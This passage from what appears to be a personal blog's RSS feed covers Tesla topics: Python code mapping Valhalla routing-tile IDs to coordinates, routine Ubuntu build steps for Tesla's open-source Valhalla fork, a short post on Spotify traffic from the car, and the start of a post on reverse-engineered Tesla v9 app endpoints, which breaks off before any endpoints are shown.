style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#give back the level and the tile index&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        tiles&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append((tile_set[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;level&amp;#39;&lt;/span&gt;], &lt;span style=&#34;color:#91d7e3&#34;&gt;int&lt;/span&gt;(y &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; (&lt;span style=&#34;color:#f5a97f&#34;&gt;360.0&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt;tile_set[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;size&amp;#39;&lt;/span&gt;]) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; x)))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; tiles
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;get_tile_id&lt;/span&gt;(tile_level, lat, lon):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  level &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;filter&lt;/span&gt;(&lt;span style=&#34;color:#c6a0f6&#34;&gt;lambda&lt;/span&gt; x: x[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;level&amp;#39;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; tile_level, valhalla_tiles)[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  width &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;int&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;360&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; level[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;size&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;int&lt;/span&gt;((lat &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;90&lt;/span&gt;) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; level[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;size&amp;#39;&lt;/span&gt;]) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; width &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;int&lt;/span&gt;((lon &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;180&lt;/span&gt; ) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; level[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;size&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;get_ll&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;id&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  tile_level &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; get_tile_level(&lt;span style=&#34;color:#91d7e3&#34;&gt;id&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  tile_index &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; get_tile_index(&lt;span style=&#34;color:#91d7e3&#34;&gt;id&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  level &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;filter&lt;/span&gt;(&lt;span style=&#34;color:#c6a0f6&#34;&gt;lambda&lt;/span&gt; x: x[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;level&amp;#39;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; tile_level, valhalla_tiles)[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  width &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;int&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;360&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; level[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;size&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  height &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;int&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;180&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; level[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;size&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;int&lt;/span&gt;(tile_index &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; width) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; level[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;size&amp;#39;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;90&lt;/span&gt;, (tile_index &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;%&lt;/span&gt; width) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; level[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;size&amp;#39;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;180&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Tesla has actually open-sourced &lt;a
	
		href = &#34;https://github.com/teslamotors/valhalla&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		their implementation of Valhalla
	&lt;/span&gt;
&lt;/a&gt;, which is based on C++. This still seems like an active project, but parts of the code haven&amp;rsquo;t been updated for a while.&lt;/p&gt;
&lt;p&gt;Whilst I haven&amp;rsquo;t tried to set this up myself, it seems quite simple. Below are the instructions to get this going on Ubuntu or Debian (I think Mac is also supported, but needs a little different dependency set).&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#below are the dependencies needed&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo add-apt-repository -y ppa:valhalla-core/valhalla
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt-get update
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt-get install -y autoconf automake make libtool pkg-config g++ gcc jq lcov protobuf-compiler vim-common libboost-all-dev libboost-all-dev libcurl4-openssl-dev libprime-server0.6.3-dev libprotobuf-dev prime-server0.6.3-bin
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#if you plan to compile with data building support, see below for more info&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt-get install -y libgeos-dev libgeos++-dev liblua5.2-dev libspatialite-dev libsqlite3-dev lua5.2
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;[[&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;$(&lt;/span&gt;grep -cF xenial /etc/lsb-release&lt;span style=&#34;color:#c6a0f6&#34;&gt;)&lt;/span&gt; &amp;gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;]]&lt;/span&gt;; &lt;span style=&#34;color:#c6a0f6&#34;&gt;then&lt;/span&gt; sudo apt-get install -y libsqlite3-mod-spatialite; &lt;span style=&#34;color:#c6a0f6&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#if you plan to compile with python bindings, see below for more info&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt-get install -y python-all-dev
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#install with the following&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;git submodule update --init --recursive
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;./autogen.sh
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;./configure
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;make &lt;span style=&#34;color:#91d7e3&#34;&gt;test&lt;/span&gt; -j&lt;span style=&#34;color:#c6a0f6&#34;&gt;$(&lt;/span&gt;nproc&lt;span style=&#34;color:#c6a0f6&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo make install&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;There you have it - we know now what the .ssq files are and how they are used. Just need more time to get it going and play with it - perhaps another project for another time. &amp;#x1f604;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Tesla and Spotify</title>
      <link>/post/2018/10/tesla-and-spotify/</link>
      <pubDate>Sun, 07 Oct 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/10/tesla-and-spotify/</guid>
      <description>&lt;p&gt;Something seems to be up, with the car tickling an endpoint for connectivity perhaps? Its only 663 bytes up and 222 bytes down. This is still on v8.1 (36.2)&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/spotify-tesla.png&#34; alt=&#34;Spotify traffic from Tesla&#34;/&gt;
        &lt;figcaption&gt;Spotify traffic from Tesla&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Tesla v9 API endpoints</title>
      <link>/post/2018/10/tesla-v9-api-endpoints/</link>
      <pubDate>Tue, 02 Oct 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/10/tesla-v9-api-endpoints/</guid>
      <description>&lt;p&gt;In case you haven&amp;rsquo;t been following the news, Tesla is in the process of releasing the new firmware beta. I think many folks online are super interested in new autopilot upgrades.&lt;/p&gt;
&lt;p&gt;I reverse engineered the associated app and there are certainly a few new end points exposed, as outlined below. Need time to now figure out more details on this and what they entail. Also need time to see what changes in the existing code and json (data structure). &lt;/p&gt;
&lt;p&gt;Is it interesting to go noodle on this, and see the associated calls. This outlines all the products as of today&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;  1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;  2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;  3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;  4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;  5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt;  6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt;  7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt;  8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt;  9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt; 10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt; 11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt; 12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt; 13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt; 14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt; 15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt; 16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt; 17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt; 18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt; 19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt; 20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt; 21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt; 22&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt; 23&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;24&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#24&#34;&gt; 24&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;25&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#25&#34;&gt; 25&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;26&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#26&#34;&gt; 26&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;27&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#27&#34;&gt; 27&lt;/a&gt;
